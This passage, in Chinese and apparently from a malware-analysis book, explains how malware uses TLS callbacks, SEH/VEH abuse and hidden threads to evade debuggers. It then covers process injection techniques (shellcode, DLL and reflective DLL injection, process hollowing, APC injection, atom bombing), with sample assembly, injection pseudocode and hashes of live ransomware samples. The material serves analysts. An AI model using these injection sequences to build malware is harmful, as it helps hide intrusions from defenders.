正如第一章所解释的,线程是操作系统中运行的一个系列指令。线程局部存储(TLS)允许每个程序运行的线程都有自己的变量版本,其他线程可以访问这些变量,并且每个线程的值都是独一无二的。例如,如果全局变量 var 被定义在 TLS 中,则进程中的每个线程都可以在其中存储不同的值。在这种情况下,var 就充当了一个类似全局变量名的角色,但每个线程都有唯一的值。
TLS 回调函数允许程序从 TLS 中清除数据对象。这些回调函数在实际程序代码开始之前运行,因此恶意软件作者可以通过精心制作特殊的 TLS 回调函数,在主恶意代码开始运行之前先执行它们。此技术不仅可以混淆并误导调试恶意软件代码的分析人员,还可以模糊代码的控制流程。让我们来看一个简单的例子,了解如何识别和定位 TLS 回调例程。
注意
要跟随本节内容,请使用以下哈希值从 VirusTotal 或 MalShare 下载示例:
SHA256: e4bd2245b1f75abf37abd5a4b58e05f00886d56a5556080c4331847c7266b5b6
为了识别可能使用 TLS 回调函数的恶意软件,你可以使用多种静态可执行文件分析工具,如 PEStudio,我个人的最爱。PEStudio 有一个名为 TLS Callbacks 的标签,它列出了可执行文件中注册的任何回调及其地址。例如,我们在图 11-2 中展示的恶意软件文件包含了两个 TLS 回调。

图 11-2:在 PEStudio 中查看 TLS 回调
请记住,TLS 回调最初是为无害的目的设计的,因此其存在并不一定意味着该可执行文件是恶意的。
为了更好地理解 TLS 回调函数如何混淆并误导分析人员,以及学习如何处理使用这些回调的恶意软件,让我们在调试器中查看此示例。我使用的是 x64dbg,但任何类似的调试器都应该可以使用。
首先,如果你在恶意软件样本中发现 TLS 回调(例如使用 PEStudio),始终确保调试器配置为在 TLS 回调函数处断点。否则,调试器将继续执行,可能不会在回调函数处断点,你可能永远也不会意识到它已经执行。为了确保 x64dbg 在 TLS 回调时断点,点击选项首选项事件,并确认选中“TLS 回调”,如图 11-3 所示。

图 11-3:启用 TLS 回调断点
将恶意软件样本附加到调试器后,可以按 F9 键正常运行恶意软件样本,调试器将在 TLS 回调函数处断开,如图 11-4 所示。

图 11-4:触发 TLS 断点
调试器现在已经暂停在 TLS 回调函数的地址处,这可能是恶意软件希望秘密执行的恶意代码的入口,如图 11-5 所示。

图 11-5:TLS 回调代码
请注意,TLS 回调并不总是在静态分析工具中清晰地注册和显示。TLS 条目存储在线程环境块(TEB)中,TEB 是一个存储有关当前运行线程信息的数据结构(有关 TEB 的更多信息,请参见第一章)。恶意软件可能在运行时修改其自身的 TEB,可能会动态地操控 TLS 回调,添加或移除回调。通过这样做,恶意软件作者可以隐藏其 TLS 回调,使其更加秘密地执行并避免分析工具的检测。
结构化异常处理
正如其名称所示,结构化异常处理(SEH)是 Windows 应用程序处理异常的方式。每当 Windows 程序遇到异常时,它会调用 SEH。开发人员可以通过实现 SEH 记录来选择在程序发生异常时执行某些代码。例如,如果程序由于缺少某个必需的文件而抛出错误,开发人员可能会指示程序显示一个弹出框,消息为:“所需文件不存在!”这个指令通常以try... catch或try... except的形式出现。程序将尝试执行一些代码,如果代码由于某种原因失败,则会执行catch(异常)。
SEH 由多个记录组成,这些记录存储在程序的堆栈上。每个记录包含两个地址:第一个是指向负责处理异常的函数的指针(即 异常处理程序),第二个是指向先前定义的 SEH 记录的指针,这样就创建了一个 SEH 记录链(通常在 Windows 中称为 链表)。
异常处理程序的地址存储在特殊的 CPU 寄存器 FS 中(对于 64 位应用程序是 GS),它指向 TEB。在 TEB 结构中,fs:[0] 包含当前的 SEH 框架,该框架指向堆栈上的第一个 SEH 记录。图 11-6 说明了这一结构。

图 11-6:一个 SEH 链表
注意 FS 寄存器指向 TEB 的地址,TEB 进一步包含指向堆栈上第一个 SEH 记录的指针。SEH 记录包含指向链中下一个 SEH 记录的地址,以及指向异常处理程序的地址(当异常被触发时执行的代码)。
当程序将一个新的 SEH 记录添加到堆栈上的 SEH 链时,它必须首先将新处理程序的地址推送到堆栈,然后将先前处理程序的地址推送到堆栈。代码如下所示:
`--snip--`
push HandlerAddress ; Address of new handler
push fs:[0] ; Address of old handler
mov fs:[0], esp
`--snip--`
在将新旧处理程序地址推送到堆栈后,指令 mov fs:[0], esp 设置了新处理程序。一旦程序中发生新的异常,HandlerAddress 将成为异常的“第一响应者”。
正如许多无害的 Windows 功能可以被重新利用用于恶意用途一样,SEH 链也可以被滥用来混淆恶意软件的控制流,并误导调试代码的分析人员。让我们看看实际操作中的情况。
注意
要跟进,请使用此哈希值从 VirusTotal 或 MalShare 下载示例:
SHA256: d52f0647e519edcea013530a23e9e5bf871cf3bd8acb30e5c870ccc8c7b89a09
你还需要一个调试器,例如 x64dbg。
请记住,这个示例是一个勒索软件变种,因此请务必采取预防措施。你可以考虑使用 附录 A 中讨论的一些技巧。
首先,将文件重命名为 .exe 扩展名(例如 evil.exe),并在 x64dbg 中打开它。(它是一个 32 位文件,因此你需要在 32 位版本中打开文件。)此时,执行文件将暂停。选择 调试运行到用户代码 以跳到恶意软件代码的开始位置。现在你应该位于恶意软件的入口点,如 图 11-7 所示。

图 11-7:x64dbg 中的恶意软件入口点
以下代码行将由恶意软件执行;请注意,地址在你运行的样本中可能会有所不同,但代码应该类似:
mov eax, evil.429D8C
push eax
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
xor eax,eax
mov dword ptr ds:[eax],ecx
首先,恶意软件将地址 evil.429D8C 移动到 eax 寄存器,并将其压入堆栈。这个地址包含将由异常处理程序执行的恶意代码。接下来,恶意软件将当前存储在 fs:[0] 中的值压入堆栈,它指向最顶层的 SEH 记录。然后,恶意软件将 esp(堆栈指针)的值移动到 fs:[0],这实际上是添加了新处理程序的地址。
为了触发异常处理程序并隐蔽地执行其代码,恶意软件必须强制引发异常。为此,恶意软件使用 xor 清除 eax 寄存器,然后执行一条 mov 指令,尝试将 ecx 中的值移动到 eax 存储的地址。由于 eax 中的值当前为 0,因此会导致在 x64dbg 中出现 EXCEPTION_ACCESS_VIOLATION 错误(如图 11-8 所示)。

图 11-8:恶意软件强制引发的异常
控制流被转移到包含恶意代码的处理程序,如图 11-9 所示。

图 11-9:控制流转移到包含恶意代码的处理程序
然而,除非我们明确告诉调试器在这个处理程序代码处中断,否则代码将执行得太快,无法供我们检查。为了解决这个问题,我们将在调试器中使用命令 bp 00429D8C 在这个处理程序代码上设置断点。现在,如果我们继续执行样本,我们将在恶意处理程序代码处中断,如图 11-9 所示。如果你已经越过了这个点,可能需要终止样本并重新运行,确保在 00429D8C 处设置断点。
如果我们没有意识到恶意软件使用了这种 SEH 滥用技术,并且没有仔细检查代码,我们很可能会完全忽视这段代码执行。由于许多反汇编工具可能不支持 SEH,我们在进行静态代码分析时也不会看到这个跳转。
此外,恶意软件不仅仅通过直接修改 SEH 链来滥用 SEH,还可以通过使用 KiUserExceptionDispatcher 函数来滥用 SEH,该函数将异常处理程序地址作为参数。恶意软件可以将任意地址传递给该函数,将新的处理程序添加到当前的 SEH 链中。然后,通过如前所述强制触发异常,恶意软件就能偷偷执行恶意代码。
当你分析使用这里讨论的技术的恶意软件时,监控 SEH 链会有所帮助。有两种方法可以做到这一点。在 x64dbg 中,你会看到一个 SEH 标签,列出了 SEH 链。然而,根据我的经验,这个功能并不总是可靠。更好的选择是添加一个 watch,监视 fs:[0] 的修改。这样,当恶意软件操作寄存器或地址(如 fs:[0])中存储的数据时,你会收到提醒。要在 x64dbg 中实现这一点,请进入 CPU 窗口下方的 Watch 标签,右键点击并选择 Add,然后输入 fs:[0](见 图 11-10)。

图 11-10:在 x64dbg 中添加监视表达式
一旦你添加了监视,右键点击它并在菜单中选择 Changed。这样,每当 fs:[0] 的值发生变化时,程序将暂停,如 图 11-11 所示。

图 11-11:触发监视表达式
VEH 和 64 位 SEH
Windows 中的另一个重要异常处理机制是 向量化异常处理 (VEH),这是对 SEH 的扩展,用于 Windows x86 应用程序。VEH 有时与 SEH 一起用于 32 位 Windows 应用程序,但优先于 SEH;也就是说,如果在应用程序中触发异常,VEH 会尝试先处理异常,然后再由 SEH 处理。
和 SEH 一样,VEH 也可能被恶意软件滥用。例如,恶意软件可以调用 Windows API 函数 AddVectoredExceptionHandler 或 RtlAddVectoredExceptionHandler,这两个函数都会注册一个新的 VEH 记录。这些函数接受一个名为 PVECTORED_EXCEPTION_HANDLER 的参数,该参数代表当异常发生时将被调用的函数。恶意软件可以故意触发异常,这时 VEH 会被触发,恶意代码将被执行。如果你碰巧发现恶意软件调用了这些函数,值得深入检查一下,看它是否在滥用 VEH 来隐秘地执行代码。
在 x64 应用程序中,SEH(有时称为 x64 SEH)作为一个表格实现,并存储在可执行文件的 PE 头中。该表格包含程序所有异常处理的描述。此外,x64 SEH 使用一种被称为 堆栈展开 的技术,该技术在内核模式下执行,并涉及从堆栈中弹出地址,以便在堆栈上的另一个地址处恢复执行。堆栈展开超出了本书的范围,但利用这种技术的攻击并不常见,因为 x64 SEH 表格存储在文件头中,这使得篡改 SEH 链变得困难,而且堆栈展开发生在内核模式下,而大多数恶意软件都运行在用户模式下。还需要注意的是,VEH 也可以在 64 位应用程序中实现,因此 VEH 滥用场景同样适用于 x64 位恶意软件。
隐藏线程
Windows API 提供了一个名为 NtSetInformationThread 的函数,可以用来设置线程的优先级。NtSetInformationThread 有一个名为 THREADINFOCLASS 或 ThreadInformationClass 的参数,该参数指向一个结构体,结构体可能包含多个值,其中一个特别有趣:ThreadHideFromDebugger。如果该值被设置,代码线程将不再向调试器发送调试事件,这意味着代码将基本上在“雷达下飞行”。这为恶意软件绕过分析师可能附加的任何调试器并隐秘地执行其代码提供了机会。克服这种技术的最简单方法是查找调用 NtSetInformationThread 的地方,并在这些位置设置断点。一旦触发断点,可以修改函数的参数,或直接将函数调用从代码中修补掉。
一个类似的规避技术涉及到NtCreateThreadEx函数,该函数具有一个特殊标志THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,可以设置该标志来隐藏新创建的线程,使其不被调试器发现。正如你可能猜到的,这会给恶意软件分析师带来问题,因为代码将会在调试器的直接范围外执行。注意检查恶意软件是否调用了NtCreateThreadEx函数,并启用了THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER标志(0x4 的十六进制表示)。
总结
在本章中,你了解了恶意软件如何以完全不被分析工具(如调试器)发现的方式执行代码的几种方法。你还看到了恶意软件如何利用回调函数来模糊控制流,同时悄悄执行其恶意代码。这些技术利用了底层和其他合法的 Windows 函数,即使其中一些已经存在多年,它们仍然出现在野外。在下一章中,我们将探索一些恶意软件作者可能使用的额外技术,这些技术能够隐秘地执行代码并完成其他恶意操作:进程注入、操作和钩子技术。
第四部分 防御规避
第十三章:12 进程注入、篡改和钩子

为了融入目标环境,现代的规避性威胁必须在感染的主机上保持隐藏。它们使用的两种方法是进程注入和进程镜像篡改。进程注入涉及将恶意代码注入并在另一个进程内执行,而不是直接执行该代码,而进程镜像篡改则涉及篡改进程镜像并滥用 Windows 处理进程的方式。恶意软件还可以利用进程注入技术将钩子注入目标进程。钩子允许恶意软件拦截 API 函数调用并监控或修改它们,帮助它保持隐匿。
我们将通过观察不同形式的进程注入开始本章内容。然后,我们将讨论该技术的两个近亲(进程镜像篡改和 DLL 及 shim 劫持)以及各种钩子方法。在本章末尾,我们将简要探讨如何缓解这些类型的攻击。
进程注入
恶意软件可能想要实现进程注入技术的原因有很多:
躲避防御和调查者
将代码注入到另一个进程中,特别是像 notepad.exe 或 explorer.exe 这样的知名进程,可能有助于恶意软件在感染的主机上持久存在,且不被终端防御和调查者发现。
模仿正常行为
恶意软件可能会将代码注入到某些进程中,以伪装其行为。例如,将代码注入到一个网页浏览器中,并通过该进程与 C2 服务器进行通信,可以帮助隐藏可疑的网络流量,因为网页浏览器与互联网通信是正常且预期的。
阻挠调试努力
将代码注入到远程进程中,可以帮助规避和逃避调试工具,使分析师失去对恶意软件代码执行流程的控制。
提升权限
特定类型的进程注入技术可以帮助恶意软件提升在感染主机上的权限,从而获得系统内更高级别的访问权限。
通过钩子拦截数据
将钩子代码注入进程可以让恶意软件拦截并修改 Windows API 调用,或者拦截敏感数据。
让我们更详细地探讨各种进程注入技术,从恶意软件如何识别目标进程进行注入开始。
随机 vs. 特定目标进程
恶意软件可以将代码注入到一个随机进程中或一个特定选择的目标进程中,这取决于它试图实现的目标。例如,一些恶意软件将恶意代码注入到主机上的多个任意进程中,以确保自身的生存。恶意软件可以简单地使用Process32First 和 Process32Next 枚举主机上的所有进程,然后尝试使用OpenProcess 打开并获取目标进程的句柄。如果它成功以当前的权限级别打开目标进程,恶意软件将在其中注入其代码。然而,这种方法并不是非常隐蔽。一个更隐秘的方法是将代码注入到特定的目标进程中,例如一些著名和常见的 Windows 进程,或者注入到允许恶意软件实现某个特定目标的进程中。例如,恶意软件家族 Formbook 的某些变种将代码注入到与浏览器相关的进程中,试图窃取敏感数据,如网页登录信息。
一些恶意软件甚至可能将代码注入到其自身的进程中(这种技术称为自我注入),或者注入到它创建的子进程中。这些类型的注入技术通常发生在解包过程中,恶意软件在内存中解密或解包其有效负载,然后将其注入到子进程中。第十七章将更详细地讨论解包过程。现在,让我们来看看最基本和最常见的进程注入形式之一:shellcode 注入。
Shellcode 注入
Shellcode 注入,也称为直接注入,是最古老的注入技术之一;顾名思义,它涉及将shellcode,一种位置无关的机器代码,注入到目标进程中。一旦 shellcode 被注入,恶意软件就可以在受害者进程的内存中直接执行其恶意代码,同时保持隐蔽。图 12-1 展示了它的工作原理。

图 12-1:Shellcode 注入技术
为了注入 shellcode,恶意软件首先必须通过调用 OpenProcess(或直接调用其本地 API 等效函数 NtOpenProcess)打开目标进程的对象句柄。OpenProcess 函数有一些重要的参数:dwDesiredAccess 和 dwProcessId。dwDesiredAccess 参数表示调用进程请求的访问权限,dwProcessId 是目标进程的 ID。你可以参考 OpenProcess 函数的原型信息,如下所示:
OpenProcess(
DWORD dwDesiredAccess, // Access rights requested.
BOOL bInheritHandle, // If true, processes created by this process inherit this process's handle.
DWORD dwProcessId // Process ID of the target process
);
一旦恶意软件获得了目标进程的对象句柄,它会调用 VirtualAlloc 在目标进程中分配内存以注入其 shellcode。(或者,它可以调用 VirtualAllocEx 或 NtAllocateVirtualMemory 函数。)VirtualAlloc 函数最相关的参数是 lpAddress 和 dwSize,分别表示分配的内存区域的起始地址和大小。以下是 VirtualAlloc 函数的原型信息:
VirtualAlloc(
LPVOID lpAddress, // Start address of region of memory to be allocated
SIZE_T dwSize, // Size of memory allocation
DWORD flAllocationType, // Memory type to be allocated
DWORD flProtect // Memory protection to be assigned to this region
);
分配内存后,恶意软件使用 WriteProcessMemory(或其本地 API 等效函数 NtWriteVirtualMemory)将恶意代码写入这一新分配的内存区域。WriteProcessMemory 接受一些重要参数:hProcess,表示被写入进程的句柄;lpBaseAddress,指向将要写入数据的基地址的指针;lpBuffer,指向包含要写入数据的内存位置的指针;nSize,表示要写入目标进程内存的字节数。以下是 WriteProcessMemory 函数的原型信息:
WriteProcessMemory(
HANDLE hProcess, // Handle of process being written to
LPVOID lpBaseAddress, // Base address where data will be written
LPCVOID lpBuffer, // Contains the data to be written
SIZE_T nSize, // Size of data to be written
SIZE_T lpNumberOfBytesWritten // Optional parameter; pointer to a variable that receives
the number of bytes that were written
);
最后,在将恶意代码写入目标进程后,恶意软件准备在进程上下文中执行它。为此,它调用 CreateRemoteThread(或者,NtCreateThreadEx 或 RtlCreateUserThread)来在进程上下文中创建一个远程线程并执行代码。CreateRemoteThread 的最重要参数是 hProcess,即目标进程的句柄,以及 lpStartAddress,即要执行代码的起始地址。CreateRemoteThread 的函数原型如下:
CreateRemoteThread(
HANDLE hProcess, // Handle to the process in which to create the
thread
LPSECURITY_ATTRIBUTES lpThreadAttributes, // Pointer to a security attributes structure;
pertains to security and access control
SIZE_T dwStackSize, // Initial size of the stack for the new thread
LPTHREAD_START_ROUTINE lpStartAddress, // Starting address of the new thread
LPVOID lpParameter, // Pointer to a variable that will be passed to
the thread's function
DWORD dwCreationFlags, // Creation flags for the thread (such as
CREATE_SUSPENDED)
LPDWORD lpThreadId // Pointer to a variable that receives the new
Thread ID
);
请注意,这只是众多 Shellcode 注入和执行方法中的一种。该技术的流程和被调用的函数(如OpenProcess、VirtualAlloc、WriteProcessMemory等)是我们在本章中讨论的几种技术的基本构建块。还需要记住,本章列出的许多函数可以与其他函数互换。例如,恶意软件可能会调用本地 API NtWriteVirtualMemory,而不是 WriteProcessMemory。它也可以调用 NtCreateThreadEx,而不是 CreateRemoteThread。
要追踪进程注入,我喜欢使用 API Monitor,它可以让你快速查看恶意软件如何注入代码,甚至提取被注入的代码。你还可以使用它以易于阅读的格式检查每个函数调用的参数。
注意
在下一节中,我将使用一个恶意软件可执行文件,你可以从 VirusTotal 或 MalShare 下载,文件哈希如下:
SHA256: c39e675a899312f1e812d98038bb75b0c5159006e8df7a715f93f8b3ac23b625
图 12-2 显示了在 API Monitor 中加载恶意软件样本并过滤 OpenProcess、VirtualAlloc 和 WriteProcessMemory 函数的结果。

图 12-2:在 API Monitor 中捕获的 Shellcode 注入
如你所见,该样本首先调用 OpenProcess(具有 STANDARD_RIGHTS_ALL 权限及其他几个访问权限),然后多次调用 VirtualAlloc 在目标进程中分配内存。接着,恶意软件通过 WriteProcessMemory 将代码写入该进程,并通过调用 CreateRemoteThread 执行它。
如果你检查第三次调用 WriteProcessMemory 的缓冲区,你会看到恶意软件正在将看起来像是 shellcode 的内容写入目标进程(见 图 12-3)。
注意
这需要一些练习,但你可以通过检查数据并寻找代表常见汇编指令的字节来识别 shellcode,例如 8b ec(它代表 mov ebp, esp)。请回顾 第三章 中的其他汇编指令。

图 12-3:注入目标进程的 shellcode
为了验证它是 shellcode,保存数据(点击十六进制缓冲区窗口左上角的保存图标),然后在反汇编器中查看。你应该能看到以下内容:
`--snip--`
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
mov eax, [ebp+8]
mov edx, [eax]
mov [ebp-0Ch], edx
mov edx, [eax+4]
mov [ebp-8], edx
mov edx, [eax+8]
mov [ebp-4], edx
push dword ptr [ebp-8]
call dword ptr [ebp-0Ch]
`--snip--`
因为这些数据可以干净地转换为汇编代码,所以这确实看起来像是 shellcode。我在这里不会详细讲解这段代码,但如果我要分析这个恶意软件样本,我会通过在反汇编器中进一步调查它,了解这段代码的目的,并在调试器中动态分析它。请注意,在某些情况下,反汇编器可能会错误地将它识别为数据,而不是代码。(参见 第三章 中的“反汇编”框,以复习代码与数据的问题。)你可能需要“强制”反汇编器将其识别为代码。
在继续之前,还有一些其他内容被注入到目标进程中,值得注意。如果你检查第一次调用 WriteProcessMemory 的缓冲区,你会看到一个指向 kernel32.dll 的引用(见 图 12-4)。

图 12-4:写入内存的字符串 KERNEL32.DLL
这表明该样本可能还使用了另一种进程注入技术——DLL 注入,我们现在来看看这个技术。#### DLL 注入
虽然 DLL 注入是另一种常见的进程注入形式,但不要被它的名字误导。在这种攻击中,恶意软件并不会将一个 DLL 物理注入到目标进程中;相反,它会将恶意 DLL 文件的路径写入目标进程,然后强制目标进程加载并执行该 DLL。图 12-5 展示了这种技术。

图 12-5:DLL 注入技术
恶意软件首先将一个恶意 DLL 文件写入磁盘。然后,像 shellcode 注入一样,它调用 OpenProcess 获取目标进程的句柄,并使用 VirtualAlloc 在该进程中分配内存。接下来,它调用 WriteProcessMemory 将该 DLL 文件的位置写入进程。最后,为了让目标进程加载 DLL,恶意软件获取 LoadLibrary 的过程地址,然后调用 CreateRemoteThread,并将 lpStartAddress 参数设置为该地址。一旦远程线程执行,目标进程调用 LoadLibrary,从而加载恶意 DLL。以下是伪代码示例:
WriteProcessMemory(victimProcess, `lpBaseAddress`, maliciousDllName, `nSize`,
`lpNumberOfBytesWritten`);
hModule = GetModuleHandle("Kernel32.dll");
GetProcAddress(`hModule`, "LoadLibraryA");
CreateRemoteThread(victimProcess, `lpThreadAttributes`, `dwStackSize`,
addressOfLoadLibraryA, maliciousDllName, `dwCreationFlags`, `lpThreadId`);
该恶意软件调用 WriteProcessMemory 将恶意 DLL 路径 malicousDllName 写入目标进程 victimProcess。然后,恶意软件调用 GetModuleHandle,接着调用 GetProcAddress,以获取 LoadLibraryA 函数的过程地址。最后,恶意软件调用 CreateRemoteThread,将 LoadLibraryA 的地址和恶意 DLL 的路径作为参数传入。这强制目标进程加载恶意 DLL 并在新的线程中执行其中的代码。
恶意软件作者使用传统的 DLL 注入时会遇到一个问题:DLL 必须通过标准的 Windows 库加载程序从磁盘加载。这些标准加载程序会被端点防御监控到并容易被发现。为了更隐蔽地进行 DLL 注入,恶意软件使用反射式 DLL 注入。
反射式 DLL 注入
在 反射式 DLL 注入中,DLL 被存储在内存中而不是磁盘上,恶意软件在加载 DLL 时不依赖于标准的 Windows 加载机制。这使得反射式 DLL 注入成为比标准 DLL 注入方法更为隐蔽的替代方案。
反射式 DLL 注入的初步步骤与标准的 DLL 注入相似。恶意软件使用 OpenProcess 获取受害者进程的句柄,并使用 VirtualAlloc 在该进程中分配内存。然而,恶意软件不仅仅写入 DLL 文件的路径,而是将整个恶意 DLL 复制到目标进程的内存中。然后,它将控制流转移到新注入的 DLL(例如,使用 CreateRemoteThread),该 DLL 执行注入 DLL 的“引导”加载程序代码。
该引导代码是自定义代码,必须重新创建正常的 Windows DLL 加载过程。从高层次看,这些步骤如下:
1. 引导代码计算其自身在内存中的镜像位置,并执行自身的镜像基址重定位,这意味着将可执行代码中的硬编码地址重新对齐,以匹配其当前在内存中的位置。加载程序还会找到注入的 DLL 的 PEB 位置。
2. 引导代码解析 kernel32.dll 的导出表,以定位 LoadLibrary、GetProcAddress、VirtualAlloc 和其他基础函数的地址。
3. 恶意 DLL 现在已成功加载到受害者进程中,并准备运行。为了执行 DLL 的恶意代码,恶意软件通常会调用 DLL 导出表中的某个函数,例如在 图 12-6 中显示的函数。

图 12-6:DLL 导出函数
此处显示的恶意软件是使用流行的渗透测试工具 Cobalt Strike 生成的,默认导出函数为 ReflectiveLoader@4。一旦调用此导出函数,恶意代码就会被执行。
图 12-7 展示了典型的反射式 DLL 注入攻击。

图 12-7:反射式 DLL 注入技术
在这个图示中,正在运行的恶意软件从攻击者控制的暂存服务器下载其 DLL 负载 ❶,然后暂时存储在恶意软件的进程内存空间中 ❷。(请注意,这种技术并不总是依赖于远程暂存服务器,但稍后我们会讨论这一点。)接下来,启动代码与 DLL 一起注入目标进程 ❸,并由恶意软件执行。启动代码执行手动 DLL 加载过程,然后调用注入 DLL 的导出函数,在目标进程的上下文中执行恶意代码 ❹。你可以阅读关于反射式 DLL 注入的更多信息,原作者的资料可以在https://
反射式 DLL 注入,像本章中我讨论的许多注入方法一样,可以细分为所谓的分阶段(staged)和无阶段(stageless)技术。刚才介绍的技术被认为是分阶段的,因为要注入的负载是从攻击者的暂存服务器上托管并下载的。而在无阶段的反射式 DLL 注入中,负载已经嵌入到原始恶意软件可执行文件中,然后解压并注入到目标进程中。
一种类似的技术,有时被称为Shellcode 反射注入,涉及将 DLL 转换为 Shellcode,然后将其注入目标进程。我不会进一步介绍这种技术,因为它结合了你已经看到的技术,但你可以在https://
进程空洞技术
进程空洞技术(有时被称为RunPE、进程替换或空洞进程注入)涉及从目标进程的内存中卸载代码,然后将恶意代码重新映射到那里。进程空洞与我们之前看到的其他注入技术有所不同,因为它通常不涉及任意的远程进程。相反,恶意软件启动一个新进程(通常是一个受信任的可执行文件,如我们熟悉的Calculator.exe),卸载合法代码,然后在挂起状态下重新映射恶意代码,此时恶意软件执行恶意代码。这种方式将恶意代码隐藏在端点防御和调查者的视线之外,伪装成一个正常的进程。图 12-8 展示了这一技术。

图 12-8:进程空洞技术
这个恶意软件样本首先通过<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">CreateProcess创建了一个新进程,并将进程创建标志设置为<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">CREATE_SUSPENDED(未显示);这使得新进程在挂起状态下启动。接下来,恶意软件通过使用<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">NtUnmapViewOfSection卸载新创建进程中的合法代码,从而“清空”该进程。然后,恶意软件通过<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">VirtualAlloc为其恶意代码分配新的内存区域,并使用<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">WriteProcessMemory将其有效载荷写入(映射)到这里。最后,恶意软件调用<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">SetThreadContext和<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">ResumeThread,分别将当前线程指向新注入的代码,并恢复线程执行,从而运行恶意代码。
让我们通过实际操作来看看,使用一款变种的勒索软件家族 Satan(SHA256: cbbd2bd6f98bd819f3860dea78f812d5c180fd19924cef32e94B d7f6929023779)。图 12-9 中的 API Monitor 屏幕截图展示了一个恶意软件样本(Satan 勒索软件家族的一个变种),它使用了进程劫持技术。

图 12-9:使用进程劫持技术的恶意软件样本
请注意,正如之前讨论的,这个恶意软件是如何通过从磁盘上的可执行文件(financialz.exe)以挂起状态(CREATE_SUSPENDED)启动一个新进程,使用<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">CreateProcessW的。然后,它多次调用<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">NtWriteVirtualMemory来将数据映射到新的目标进程中。在 API Monitor 中进一步检查这个函数调用,显示该恶意软件样本将 PE 文件写入目标进程,然后调用<ѕamp class="SANS_TheSansMonoCd_W5Regular_11">NtResumeThread来执行该文件(见图 12-10)。

图 12-10:内存中的 PE 头部
请注意,尽管进程劫持通常被归类为一种进程注入技术,但它并不是真正的注入技术,因为它依赖于恶意软件在挂起状态下生成新进程,然后用恶意代码替换进程原有的代码。
线程劫持
线程劫持涉及在受害者进程中打开一个正在运行的线程,将恶意代码写入该线程,并强制受害者进程执行该代码。线程劫持与进程空洞技术使用的许多功能相同,但也有一些显著的区别。为了执行线程劫持,恶意软件调用OpenThread函数,指定线程 ID 作为参数,然后调用SuspendThread(对于 64 位进程,使用Wow64SuspendThread)来挂起受害线程。一旦线程处于挂起状态,恶意软件使用VirtualAlloc和WriteProcessMemory分别分配目标进程中的内存并将恶意代码写入其中。最后,恶意软件调用SetThreadContext将控制流从当前挂起的线程转移到新注入的恶意代码,然后调用ResumeThread执行该代码。
APC 注入
异步过程调用(APC)是 Windows 的一项功能,允许将各种任务排队并在运行线程的上下文中执行。程序可以调用QueueUserAPC函数,传递线程的句柄和程序希望执行的代码的指针,将该任务添加到 APC 队列中。APC 注入滥用此功能,悄悄执行代码,并可能提升权限。
为了使程序能够调用 APC 队列中的函数,线程必须处于可警觉状态,这意味着线程会定期检查队列中的新项并执行下一个排队的任务。许多系统上运行的进程,从 Web 浏览器到视频播放器,都有在可警觉状态下运行的线程。通常,此类线程最终会收到操作系统的中断请求,此时进程会检查 APC 队列并运行下一个排队的任务。
恶意软件通过尝试通过 APC 排队将恶意代码注入到其他进程中,利用了 APC 功能。图 12-11 展示了这种攻击。

图 12-11:APC 注入技术
该恶意软件首先以常规方式获取目标受害进程的句柄(OpenProcess),并将要执行的恶意代码写入该进程(VirtualAlloc 和 WriteProcessMemory)。接下来,它通过调用 OpenThread 打开目标线程,然后调用 QueueUserAPC(或 NtQueueApcThread)来排队一个新的 APC 任务。每当线程接收到来自操作系统的中断请求时,这段恶意代码就会被执行。
该技术的变种会在挂起状态下创建一个新进程(类似于进程空洞技术),并将恶意代码写入该进程。然后,恶意软件排队其 APC 函数并恢复该线程。一旦线程恢复,恶意代码就会执行。此时,恶意软件可以终止其原始进程,因为其有效载荷现在已在新进程下运行,并且可能不会被端点防护或不知情的终端用户察觉。图 12-12 展示了这一攻击,捕获自 API Monitor。

图 12-12:使用 APC 注入技术变种的恶意软件
该恶意软件样本使用 APC 注入技术,在iexplore.exe进程的上下文中运行恶意代码。在这种情况下,恶意软件启动了iexplore.exe(CreateProcessA),而不是劫持另一个进程(OpenProcess)。
原子炸弹
本章将介绍的最后一种进程注入技术是原子炸弹,它与 APC 注入有一些相似之处,但涉及到原子,即指向特定数据片段(如字符串)的引用。原子存储在操作系统中一个名为原子表的结构中,每个原子都有一个唯一的原子标识符。原子通常用于进程间通信,用以协调进程之间的操作。例如,进程 A 可能会创建一个原子,表示某个特定的数据可用,进程 B 可以使用该原子来访问这些数据。
原子表可以是全局的(即系统中任何正在运行的进程都可以访问)或本地的(仅对特定进程可访问)。要将数据添加到全局原子表,应用程序会调用 GlobalAddAtom 函数;要将原子添加到本地表中,它会调用 AddAtom 函数。原子炸弹利用这些原子表暂时存储恶意代码。图 12-13 展示了这一攻击。

图 12-13: 原子轰炸技术
从高层次来看,这种技术在全局原子表中创建了一个新的全局原子(GlobalAddAtom),在其中存储恶意 shellcode ❶,并使用 APC 排队(NtQueueApcThread) ❷ 强制受害者进程执行 GlobalGetAtomName ❸。一旦受害者进程检索到该原子,存储在原子表中的 shellcode 就可以在该进程的上下文中运行 ❹。
进程注入总结
如你所见,许多进程注入技术使用相同的 API 函数调用,并且表现类似。几乎所有的进程注入技术都会创建一个进程或打开一个目标进程的句柄,分配内存并将代码写入或映射到目标进程中,然后强制注入的代码在目标进程的上下文中执行,正如 图 12-14 中总结的那样。(特别感谢恶意软件研究员 Karsten Hahn,他为此图提供了灵感。)

图 12-14: 进程注入行为和 API 调用总结
现在我们已经了解了各种进程注入技术,让我们转向另一种用于类似目的的方法:进程映像篡改。
进程映像篡改
